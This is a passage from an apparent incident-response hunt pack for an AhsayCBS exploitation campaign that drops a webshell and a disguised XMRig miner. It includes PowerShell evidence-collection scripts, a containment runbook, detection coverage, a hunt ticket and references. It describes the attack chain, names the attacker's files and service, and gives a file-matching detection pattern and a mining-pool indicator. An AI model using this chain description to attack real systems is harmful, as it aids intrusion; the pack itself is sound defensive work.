Add-MpPreference -AttackSurfaceReductionRules_Ids $id -AttackSurfaceReductionRules_Actions AuditMode

# Verify
$p = Get-MpPreference
$i = [array]::IndexOf($p.AttackSurfaceReductionRules_Ids, $id)
if ($i -ge 0) { "Rule present, action = " + $p.AttackSurfaceReductionRules_Actions[$i] }   # 2 = Audit, 1 = Block

# Review audit hits (advanced hunting action type AsrVulnerableSignedDriverAudited) for 2 to 4 weeks, then move a pilot ring to Block.
# Microsoft: the rule stops vulnerable signed drivers being saved; it does not stop a driver already on the machine from loading.

P5 · Evidence collection for a confirmed host

# P5 - Evidence collection for a confirmed AhsayCBS host (read-only; run BEFORE any cleanup)
# Prerequisites: local administrator or Falcon RTR with the needed role; host already network-contained
# Reboot required: no. Do NOT reboot: running processes and the service state are evidence.
# Rollback: none required (read-only). Cleanup is in the section 14 runbook.

$out = "$env:SystemDrive\IR-ahsay"; New-Item -ItemType Directory -Path $out -Force | Out-Null
Get-CimInstance Win32_Service | Select-Object Name, DisplayName, State, StartName, PathName | Export-Csv "$out\services.csv" -NoTypeInformation
Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine, ExecutablePath | Export-Csv "$out\processes.csv" -NoTypeInformation
Get-NetTCPConnection -ErrorAction SilentlyContinue | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | Export-Csv "$out\connections.csv" -NoTypeInformation
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp" -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match '^(edge|msedge)\.exe$|^Taskgmr\.ps1$|^config\.json$|^WinRing0x64\.sys$' } |
  Get-FileHash -Algorithm SHA256 -ErrorAction SilentlyContinue | Export-Csv "$out\temp-hashes.csv" -NoTypeInformation
# Copy (do not delete) any file found, plus recent .jsp files from the web application directory (see native hunt N2), to the evidence share.
14

Containment Runbook

Sequencing rule: exploitation yields SYSTEM and a webshell, and Huntress found hidden secondary backdoors. Treat the host as fully compromised, re-image rather than clean, and rotate every credential the console could reach. Isolation stops backup jobs and replication for every tenant on the console, so brief the backup owner as you contain, not afterwards.

PhaseActionsOwnerEvidence to capture
C0 · Triage
0 to 15 min
Confirm which query fired. Identify host and time. Check whether Q1, Q2, Q5, Q7 and Q15 also fired on the same aid. Check the AhsayCBS version and whether the console was internet-reachable.SOC L1Falcon process tree; query output; aid and ComputerName
C1 · Isolate
15 to 30 min
Network-contain the host in Falcon, or at the firewall if the sensor is not responding. Backup replication will stop: tell the backup owner first. Do not clean in place. Run P5 before any change.SOC L2Containment timestamp; P5 output
C2 · ScopeRun Q1 to Q15 across 30 to 90 days for other hosts. Search web access logs for /rps/api/json/UpdateReceivers.do and review replication receivers and users in the console. Check whether other AhsayCBS servers (including customer-facing ones if you are an MSP) were reachable by the same sources.Threat hunterList of affected hosts and receivers; web log extracts
C3 · Credentials
parallel with C1
Rotate AhsayCBS administrator, replication-receiver and any stored backup credentials. Reset credentials for accounts that logged on to the host. Assume anything the console could read was exposed (precaution, not reported).IAMRotation timestamps; list of rotated secrets
C4 · EradicateHuntress advises a full host re-image from a trusted backup, because secondary backdoors were hidden. If you must triage first: stop and delete service MicrosoftEdgeUpdateSvc (and EdgeUpdateHelper if present), remove edge.exe, msedge.exe, Taskgmr.ps1, config.json and WinRing0x64.sys from Temp (the driver may need a reboot or offline removal to unload), and remove unknown .jsp files and unknown replication receivers. Do not treat this as a substitute for the re-image.SOC L2 / ITRemoval log; post-clean Q1 to Q9 re-run
C5 · RecoverReimage from a verified-clean backup, apply I1 (restricted access) before the host comes back online, re-enroll the sensor, verify the ASR rule (N1), and restore credentials only after C3.ITReimage ticket; exposure test from an untrusted network
C6 · LessonsAdd confirmed values to IOC Management. Record the exact fixed version once Ahsay publishes one. Feed new hashes and infrastructure back into this pack as a v0.2 revision.Threat intelUpdated IOC list; revision ticket
15

Detection Coverage Map

TechniqueBehaviorCQLIOAHardeningCrowdStrike coverageSentinelOne
T1190CVE-2026-105133 + CVE-2026-105134 exploitationQ1, Q2, Q13Yes (Q1, Q2)I1, N5, S1PARTIAL the HTTP request and the auth bypass are outside endpoint telemetry; the resulting child processes and source addresses are covered. Native hunt N1 is the fallbackPartial: Q13 approximate
T1505.003Replication receiver and JSP webshellQ1, Q2NoI2, N5GAP no verified Falcon file-write event for .jsp. Detect through the service's child processes and the N2 filesystem sweepGAP: same limit as CrowdStrike
T1105 / T1608.001Payload download from the OSS bucket via curl and certutilQ2, Q3, Q4, Q10, Q12Yes (Q2)N2GOOD command line, parent and DNS all covered; bucket name is single-sourcedGood, with assumptions
T1543.003Service MicrosoftEdgeUpdateSvc (NSSM)Q6, Q7, Q8, Q15Yes (Q6)I4, N1, N3PARTIAL depends on CreateService field population (gate G1); Q6 covers the process side without itPartial: Q7 unavailable, Q8 unavailable, Q15 unavailable
T1036.004 / T1036.005Edge masquerade (service name and binaries)Q5, Q6, Q7, Q9Yes (Q6, Q9)N3GOOD path and parent relationships are near-zero FPPartial: Q7 unavailable
T1564 / T1057 / T1124Taskgmr.ps1 evasionQ14NoNonePARTIAL command-line view only; the script-block content is outside endpoint process telemetry. Huntress ships a Sigma rule for script-block logsPartial: same limit as CrowdStrike
T1496.001XMRig miner and WinRing0x64.sys kernel driverQ4, Q5, Q6, Q9, Q11, Q12, Q15NoN1, S3PARTIAL staging and download are visible; the driver load and in-kernel use are not (no verified driver-load event used)Partial: Q15 unavailable
T1571 / T1071.001Pool traffic on TCP 8029Q11, Q12IOC MgmtN2GOOD IP and port plus the fake Edge process; pool IP is single-sourcedGood, with assumptions

Validation gates (summary): telemetry ready (G1), benign baseline (G2), positive test (G3), negative test (G4), Monitor-mode promotion (G5), response readiness (G6). Full table in section 11.

Honest scope: this pack detects what the intruder does on the host after exploitation (children of the service, the fake Edge pair, the persistence service, Temp staging, pool traffic). It cannot see the authentication bypass, the injection request, the JSP file write or the driver load. If your only signal is a Q11 or Q12 network hit, assume the earlier stages ran, including the webshell.

16

Hunt Summary Ticket

TITLE:      AhsayCBS CVE-2026-105133 + CVE-2026-105134: webshell, XMRig disguised as Edge, NSSM service, WinRing0x64.sys
SEVERITY:   Critical. Exploited in the wild since 2026-10-07 23:20:15 UTC (Huntress, 5 organizations by 2026-10-08); no patch at disclosure; SYSTEM RCE
SCOPE:      Windows servers running AhsayCBS through 10.3.4 with the management interface reachable from the internet. Priority: MSP and integrator backup consoles.

HYPOTHESIS: An actor chained the auth bypass (105133) and command injection (105134) to run commands as SYSTEM, dropped a JSP webshell, pulled
            Taskgmr.ps1, edge.exe (XMRig), msedge.exe (NSSM), config.json and WinRing0x64.sys from an Alibaba OSS bucket with curl/certutil, created service
            MicrosoftEdgeUpdateSvc, and mines Monero at xmr.kryptex.network:8029.

QUERIES:    15 CQL queries (Q1 to Q15). Highest value: Q1 and Q2 (children of cbssvcX64.exe), Q5 to Q7 (Edge masquerade and service), Q15 (correlation).

DO FIRST:   1. Remove the console from the internet or restrict to trusted IPs / VPN (P1). 2. Run Q1, Q2, Q5, Q7 over 30 days. 3. Any hit: isolate, run P5, re-image.

FINDINGS:   (fill in) hosts, versions, console exposure, first-seen time, receivers and .jsp files found

GAPS:       Authentication bypass and the UpdateReceivers.do request: outside endpoint telemetry (web logs, native hunt N1). JSP webshell write: no verified
            file-write event (native hunt N2). Driver load and script-block content: no verified event used (process creation, CrowdStrike: ProcessRollup2,
            covers the command line only).

ACTIONS:    P1 scope access; P2 command-line auditing; P3 sweep; P4 ASR vulnerable-driver rule in audit; rotate console credentials; track vendor patch.

OWNER:      HuntPack
VERSION:    v0.1 · 2026-10-10
17

Changelog

v0.1 2026-10-10 Initial draft. Built from the Huntress advisory (2026-10-08) and its Sigma rules, the NVD and INCIBE-CERT CVE records, and SecurityWeek coverage, with MITRE ATT&CK and Microsoft Learn pages for mapping and hardening. Fifteen CQL hunt queries, twelve atomic indicators imported as detect (three hashes, two domains, seven IPv4 addresses), URL paths, pool login and service name held as hunt only. Nothing ships at prevent. The affected-version conflict (NVD: fixed in 10.3.4; Huntress: 10.3.4 affected) is documented in section 2. SentinelOne PowerQuery tabs added to Q1-Q15: SIEM Query Rosetta release 0.1.0 (public-beta; static-reviewed translations).
18

References

TierSourceUsed forAccessed
1Huntress: Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig CryptominerPrimary source: chain, behavior, IOCs, ATT&CK2026-10-10
1Huntress threat-intel: AhsayCBS_XMRig_Miner Sigma rulesBaseline exclusions and detection logic for Q1, Q4, Q5, Q142026-10-10
1NVD: CVE-2026-105134Vulnerability detail, CVSS, affected range2026-10-10
1NVD: CVE-2026-105133Vulnerability detail, CVSS, affected range2026-10-10
1INCIBE-CERT: CVE-2026-105134CVE corroboration (CWE-77)2026-10-10
2SecurityWeek: Unpatched AhsayCBS Vulnerabilities Exploited in the WildSecondary coverage, behavior corroboration only2026-10-10
1MITRE ATT&CK T1496.001: Compute HijackingTechnique definition; no preventive mitigation listed2026-10-10
1MITRE ATT&CK T1505.003: Web ShellTechnique definition and mitigation M-codes2026-10-10
1MITRE ATT&CK T1190: Exploit Public-Facing ApplicationTechnique definition and mitigation M-codes2026-10-10
1MITRE ATT&CK T1543.003: Windows ServiceTechnique definition and mitigation M-codes2026-10-10
1MITRE ATT&CK T1036.005: Match Legitimate Resource Name or LocationTechnique definition and mitigation M-codes2026-10-10
1Microsoft Learn: Attack surface reduction rules referenceHardening N1 (vulnerable signed drivers rule)2026-10-10